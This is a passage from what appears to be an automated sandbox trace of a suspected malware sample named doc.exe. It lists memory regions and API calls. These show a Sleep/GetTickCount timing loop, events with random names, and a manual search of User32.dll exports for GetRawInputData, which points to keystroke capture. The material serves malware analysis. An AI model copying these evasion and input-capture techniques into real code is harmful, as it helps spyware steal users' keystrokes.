"private_0x00000000003a0000" filename = "" Region: id = 3807 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3808 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3809 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3810 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3811 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3812 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3813 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3814 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3815 start_va = 0x390000 end_va = 0x390fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 3828 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3829 start_va = 0x3b0000 end_va = 0x3b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3830 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3831 start_va = 0x3c0000 end_va = 0x3c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3832 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3833 start_va = 0x3d0000 end_va = 0x3d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3834 start_va = 0x3e0000 end_va = 0x3e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3835 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3836 start_va = 0x3c0000 end_va = 0x3c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3837 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3838 start_va = 0x3d0000 end_va = 0x3d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3839 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3840 start_va = 0x3c0000 end_va = 0x3c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3841 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3842 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3843 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3844 start_va = 0x3d0000 end_va = 0x3d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3845 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3846 start_va = 0x3c0000 end_va = 0x3c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3847 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3848 start_va = 0x3e0000 end_va = 0x3e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3849 start_va = 0x6f0000 end_va = 0x6f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 3850 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3851 start_va = 0x3e0000 end_va = 0x3e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3852 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3853 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3854 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3881 start_va = 0x3d0000 end_va = 0x3d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3882 start_va = 0x2810000 end_va = 0x2c10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 3886 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3887 start_va = 0x710000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 3888 start_va = 0x710000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 3889 start_va = 0x710000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 3890 start_va = 0x710000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 3891 start_va = 0x710000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 3892 start_va = 0x710000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Thread: id = 265 os_tid = 0x518 [0291.082] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe\"" [0291.082] GetStartupInfoA (in: lpStartupInfo=0x2afae0 | out: lpStartupInfo=0x2afae0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0291.082] GetProcessHeap () returned 0x9c0000 [0291.082] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x80) returned 0x9ded70 [0291.776] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xbc [0291.776] GetProcessHeap () returned 0x9c0000 [0291.776] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x38) returned 0x9d2d18 [0291.776] GetProcessHeap () returned 0x9c0000 [0291.776] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x14) returned 0x9d2d58 [0291.776] GetProcessHeap () returned 0x9c0000 [0291.776] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x28) returned 0x9dd8e0 [0291.777] GetProcessHeap () returned 0x9c0000 [0291.777] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0x50) returned 0x9dedf8 [0291.777] GetProcessHeap () returned 0x9c0000 [0291.777] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x8, Size=0xa0) returned 0x9dee50 [0291.777] CoInitialize (pvReserved=0x0) returned 0x0 [0292.137] CoCreateInstance (in: rclsid=0x4145e0*(Data1=0x62be5d10, Data2=0x60eb, Data3=0x11d0, Data4=([0]=0xbd, [1]=0x3b, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0xce, [7]=0x86)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x4173f0*(Data1=0x29840822, Data2=0x5b84, Data3=0x11d0, Data4=([0]=0xbd, [1]=0x3b, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0xce, [7]=0x86)), ppv=0x2afaa0 | out: ppv=0x2afaa0*=0x3f728) returned 0x0 [0293.183] SystemDeviceEnum:ICreateDevEnum:CreateClassEnumerator (in: This=0x3f728, clsidDeviceClass=0x4145d0*(Data1=0x860bb310, Data2=0x5d01, Data3=0x11d0, Data4=([0]=0xbd, [1]=0x3b, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0xce, [7]=0x86)), ppenumMoniker=0x2afaa4, dwFlags=0x0 | out: ppenumMoniker=0x2afaa4*=0x0) returned 0x1 [0293.510] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x160000 [0293.511] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x170000 [0293.511] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x180000 [0293.511] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x190000 [0293.511] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x1a0000 [0293.511] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x390000 [0293.512] GetProcessHeap () returned 0x9c0000 [0293.512] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x19) returned 0x9e7098 [0293.512] GetProcessHeap () returned 0x9c0000 [0293.512] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x19) returned 0x9f4770 [0293.512] GetProcessHeap () returned 0x9c0000 [0293.512] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x19) returned 0x9f4a18 [0293.512] GetProcessHeap () returned 0x9c0000 [0293.512] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x19) returned 0x9f49f0 [0293.512] GetProcessHeap () returned 0x9c0000 [0293.512] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x19) returned 0x9f49c8 [0293.512] GetProcessHeap () returned 0x9c0000 [0293.512] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x19) returned 0x9f49a0 [0293.616] Sleep (dwMilliseconds=0x1) [0293.626] GetTickCount () returned 0xbfd334 [0293.626] Sleep (dwMilliseconds=0x1) [0293.641] GetTickCount () returned 0xbfd343 [0293.641] Sleep (dwMilliseconds=0x1) [0293.658] GetTickCount () returned 0xbfd353 [0293.658] Sleep (dwMilliseconds=0x1) [0293.673] GetTickCount () returned 0xbfd363 [0293.673] Sleep (dwMilliseconds=0x1) [0293.701] GetTickCount () returned 0xbfd372 [0293.701] Sleep (dwMilliseconds=0x1) [0293.705] GetTickCount () returned 0xbfd382 [0293.705] Sleep (dwMilliseconds=0x1) [0293.720] GetTickCount () returned 0xbfd391 [0293.720] Sleep (dwMilliseconds=0x1) [0293.736] GetTickCount () returned 0xbfd3a1 [0293.736] Sleep (dwMilliseconds=0x1) [0293.759] GetTickCount () returned 0xbfd3b1 [0293.759] Sleep (dwMilliseconds=0x1) [0293.766] GetTickCount () returned 0xbfd3c0 [0293.766] Sleep (dwMilliseconds=0x1) [0293.782] GetTickCount () returned 0xbfd3d0 [0293.782] Sleep (dwMilliseconds=0x1) [0293.798] GetTickCount () returned 0xbfd3df [0293.798] Sleep (dwMilliseconds=0x1) [0293.815] GetTickCount () returned 0xbfd3ef [0293.815] Sleep (dwMilliseconds=0x1) [0293.829] GetTickCount () returned 0xbfd3ff [0293.829] Sleep (dwMilliseconds=0x1) [0293.844] GetTickCount () returned 0xbfd40e [0293.844] Sleep (dwMilliseconds=0x1) [0293.861] GetTickCount () returned 0xbfd41e [0293.861] Sleep (dwMilliseconds=0x1) [0293.875] GetTickCount () returned 0xbfd42d [0293.876] Sleep (dwMilliseconds=0x1) [0293.891] GetTickCount () returned 0xbfd43d [0293.891] Sleep (dwMilliseconds=0x1) [0293.907] GetTickCount () returned 0xbfd44d [0293.907] Sleep (dwMilliseconds=0x1) [0293.922] GetTickCount () returned 0xbfd45c [0293.922] Sleep (dwMilliseconds=0x1) [0293.938] GetTickCount () returned 0xbfd46c [0293.938] Sleep (dwMilliseconds=0x1) [0293.953] GetTickCount () returned 0xbfd47b [0293.953] Sleep (dwMilliseconds=0x1) [0293.970] GetTickCount () returned 0xbfd48b [0293.970] Sleep (dwMilliseconds=0x1) [0293.985] GetTickCount () returned 0xbfd49b [0293.985] Sleep (dwMilliseconds=0x1) [0294.000] GetTickCount () returned 0xbfd4aa [0294.001] Sleep (dwMilliseconds=0x1) [0294.016] GetTickCount () returned 0xbfd4ba [0294.016] Sleep (dwMilliseconds=0x1) [0294.032] GetTickCount () returned 0xbfd4c9 [0294.032] Sleep (dwMilliseconds=0x1) [0294.047] GetTickCount () returned 0xbfd4d9 [0294.047] Sleep (dwMilliseconds=0x1) [0294.063] GetTickCount () returned 0xbfd4e9 [0294.063] Sleep (dwMilliseconds=0x1) [0294.079] GetTickCount () returned 0xbfd4f8 [0294.079] Sleep (dwMilliseconds=0x1) [0294.094] GetTickCount () returned 0xbfd508 [0294.094] Sleep (dwMilliseconds=0x1) [0294.109] GetTickCount () returned 0xbfd517 [0294.109] Sleep (dwMilliseconds=0x1) [0294.125] GetTickCount () returned 0xbfd527 [0294.125] Sleep (dwMilliseconds=0x1) [0294.141] GetTickCount () returned 0xbfd537 [0294.141] Sleep (dwMilliseconds=0x1) [0294.156] GetTickCount () returned 0xbfd546 [0294.156] Sleep (dwMilliseconds=0x1) [0294.172] GetTickCount () returned 0xbfd556 [0294.172] Sleep (dwMilliseconds=0x1) [0294.189] GetTickCount () returned 0xbfd565 [0294.189] Sleep (dwMilliseconds=0x1) [0294.203] GetTickCount () returned 0xbfd575 [0294.203] Sleep (dwMilliseconds=0x1) [0294.219] GetTickCount () returned 0xbfd585 [0294.219] Sleep (dwMilliseconds=0x1) [0294.234] GetTickCount () returned 0xbfd594 [0294.234] Sleep (dwMilliseconds=0x1) [0294.250] GetTickCount () returned 0xbfd5a4 [0294.250] Sleep (dwMilliseconds=0x1) [0294.266] GetTickCount () returned 0xbfd5b3 [0294.266] Sleep (dwMilliseconds=0x1) [0294.282] GetTickCount () returned 0xbfd5c3 [0294.282] Sleep (dwMilliseconds=0x1) [0294.298] GetTickCount () returned 0xbfd5d3 [0294.298] Sleep (dwMilliseconds=0x1) [0294.328] GetTickCount () returned 0xbfd5f2 [0294.328] Sleep (dwMilliseconds=0x1) [0294.343] GetTickCount () returned 0xbfd601 [0294.343] Sleep (dwMilliseconds=0x1) [0294.359] GetTickCount () returned 0xbfd611 [0294.359] Sleep (dwMilliseconds=0x1) [0294.375] GetTickCount () returned 0xbfd621 [0294.375] Sleep (dwMilliseconds=0x1) [0294.391] GetTickCount () returned 0xbfd630 [0294.391] Sleep (dwMilliseconds=0x1) [0294.407] GetTickCount () returned 0xbfd640 [0294.407] Sleep (dwMilliseconds=0x1) [0294.422] GetTickCount () returned 0xbfd64f [0294.422] Sleep (dwMilliseconds=0x1) [0294.437] GetTickCount () returned 0xbfd65f [0294.437] Sleep (dwMilliseconds=0x1) [0294.453] GetTickCount () returned 0xbfd66f [0294.453] Sleep (dwMilliseconds=0x1) [0294.470] GetTickCount () returned 0xbfd67e [0294.470] Sleep (dwMilliseconds=0x1) [0294.484] GetTickCount () returned 0xbfd68e [0294.484] Sleep (dwMilliseconds=0x1) [0294.499] GetTickCount () returned 0xbfd69d [0294.500] Sleep (dwMilliseconds=0x1) [0294.516] GetTickCount () returned 0xbfd6ad [0294.516] Sleep (dwMilliseconds=0x1) [0294.531] GetTickCount () returned 0xbfd6bd [0294.531] Sleep (dwMilliseconds=0x1) [0294.546] GetTickCount () returned 0xbfd6cc [0294.546] Sleep (dwMilliseconds=0x1) [0294.562] GetTickCount () returned 0xbfd6dc [0294.562] lstrlenA (lpString="IcjyyaJ0lW") returned 10 [0294.562] lstrlenA (lpString="IcjyyaJ0lW") returned 10 [0294.562] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.563] lstrcpyA (in: lpString1=0x3a0000, lpString2="IcjyyaJ0lW" | out: lpString1="IcjyyaJ0lW") returned="IcjyyaJ0lW" [0294.563] VirtualFree (lpAddress=0x160000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.563] lstrlenA (lpString="IcjyyaJ0lW") returned 10 [0294.563] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x160000 [0294.563] lstrcatA (in: lpString1="", lpString2="IcjyyaJ0lW" | out: lpString1="IcjyyaJ0lW") returned="IcjyyaJ0lW" [0294.563] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="IcjyyaJ0lW") returned 0x14c [0294.564] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.564] lstrlenA (lpString="oO3qOGXmno") returned 10 [0294.564] lstrlenA (lpString="oO3qOGXmno") returned 10 [0294.564] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.564] lstrcpyA (in: lpString1=0x3a0000, lpString2="oO3qOGXmno" | out: lpString1="oO3qOGXmno") returned="oO3qOGXmno" [0294.565] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.565] lstrlenA (lpString="oO3qOGXmno") returned 10 [0294.565] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x170000 [0294.565] lstrcatA (in: lpString1="", lpString2="oO3qOGXmno" | out: lpString1="oO3qOGXmno") returned="oO3qOGXmno" [0294.565] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="oO3qOGXmno") returned 0x150 [0294.565] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.566] lstrlenA (lpString="KSfiWwlGpO") returned 10 [0294.566] lstrlenA (lpString="KSfiWwlGpO") returned 10 [0294.566] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.566] lstrcpyA (in: lpString1=0x3a0000, lpString2="KSfiWwlGpO" | out: lpString1="KSfiWwlGpO") returned="KSfiWwlGpO" [0294.566] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.567] lstrlenA (lpString="KSfiWwlGpO") returned 10 [0294.567] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x180000 [0294.567] lstrcatA (in: lpString1="", lpString2="KSfiWwlGpO" | out: lpString1="KSfiWwlGpO") returned="KSfiWwlGpO" [0294.567] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="KSfiWwlGpO") returned 0x190 [0294.567] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.567] lstrlenA (lpString="qWzawchkry") returned 10 [0294.567] lstrlenA (lpString="qWzawchkry") returned 10 [0294.567] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.568] lstrcpyA (in: lpString1=0x3a0000, lpString2="qWzawchkry" | out: lpString1="qWzawchkry") returned="qWzawchkry" [0294.568] VirtualFree (lpAddress=0x190000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.568] lstrlenA (lpString="qWzawchkry") returned 10 [0294.568] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x190000 [0294.568] lstrcatA (in: lpString1="", lpString2="qWzawchkry" | out: lpString1="qWzawchkry") returned="qWzawchkry" [0294.568] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="qWzawchkry") returned 0x194 [0294.569] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.569] lstrlenA (lpString="MIJSWUp0wU") returned 10 [0294.569] lstrlenA (lpString="MIJSWUp0wU") returned 10 [0294.569] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.569] lstrcpyA (in: lpString1=0x3a0000, lpString2="MIJSWUp0wU" | out: lpString1="MIJSWUp0wU") returned="MIJSWUp0wU" [0294.569] VirtualFree (lpAddress=0x1a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.569] lstrlenA (lpString="MIJSWUp0wU") returned 10 [0294.569] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x1a0000 [0294.570] lstrcatA (in: lpString1="", lpString2="MIJSWUp0wU" | out: lpString1="MIJSWUp0wU") returned="MIJSWUp0wU" [0294.570] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="MIJSWUp0wU") returned 0x198 [0294.570] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.570] lstrlenA (lpString="7CdQeA3my4") returned 10 [0294.570] lstrlenA (lpString="7CdQeA3my4") returned 10 [0294.570] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.571] lstrcpyA (in: lpString1=0x3a0000, lpString2="7CdQeA3my4" | out: lpString1="7CdQeA3my4") returned="7CdQeA3my4" [0294.571] VirtualFree (lpAddress=0x390000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.571] lstrlenA (lpString="7CdQeA3my4") returned 10 [0294.571] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x390000 [0294.571] lstrcatA (in: lpString1="", lpString2="7CdQeA3my4" | out: lpString1="7CdQeA3my4") returned="7CdQeA3my4" [0294.571] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="7CdQeA3my4") returned 0x19c [0294.571] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.675] GetProcessHeap () returned 0x9c0000 [0294.676] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x54) returned 0x9f7268 [0294.698] GetProcessHeap () returned 0x9c0000 [0294.698] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x7c) returned 0x9f8b00 [0294.699] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x1a0 [0294.699] LoadLibraryW (lpLibFileName="User32.dll") returned 0x766d0000 [0294.699] lstrcmpA (lpString1="ActivateKeyboardLayout", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AddClipboardFormatListener", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AdjustWindowRect", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AdjustWindowRectEx", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AlignRects", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AllowForegroundActivation", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AllowSetForegroundWindow", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AnimateWindow", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AnyPopup", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AppendMenuA", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AppendMenuW", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="ArrangeIconicWindows", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="AttachThreadInput", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="BeginDeferWindowPos", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="BeginPaint", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="BlockInput", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="BringWindowToTop", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="BroadcastSystemMessage", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="BroadcastSystemMessageA", lpString2="GetRawInputData") returned -1 [0294.699] lstrcmpA (lpString1="BroadcastSystemMessageExA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="BroadcastSystemMessageExW", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="BroadcastSystemMessageW", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="BuildReasonArray", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CalcMenuBar", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CalculatePopupWindowPosition", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CallMsgFilter", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CallMsgFilterA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CallMsgFilterW", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CallNextHookEx", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CallWindowProcA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CallWindowProcW", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CancelShutdown", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CascadeChildWindows", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CascadeWindows", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="ChangeClipboardChain", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="ChangeDisplaySettingsA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="ChangeDisplaySettingsExA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="ChangeDisplaySettingsExW", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="ChangeDisplaySettingsW", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="ChangeMenuA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="ChangeMenuW", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="ChangeWindowMessageFilter", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="ChangeWindowMessageFilterEx", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CharLowerA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CharLowerBuffA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CharLowerBuffW", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CharLowerW", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CharNextA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CharNextExA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CharNextW", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CharPrevA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CharPrevExA", lpString2="GetRawInputData") returned -1 [0294.700] lstrcmpA (lpString1="CharPrevW", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CharToOemA", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CharToOemBuffA", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CharToOemBuffW", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CharToOemW", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CharUpperA", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CharUpperBuffA", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CharUpperBuffW", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CharUpperW", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CheckDesktopByThreadId", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CheckDlgButton", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CheckMenuItem", lpString2="GetRawInputData") returned -1 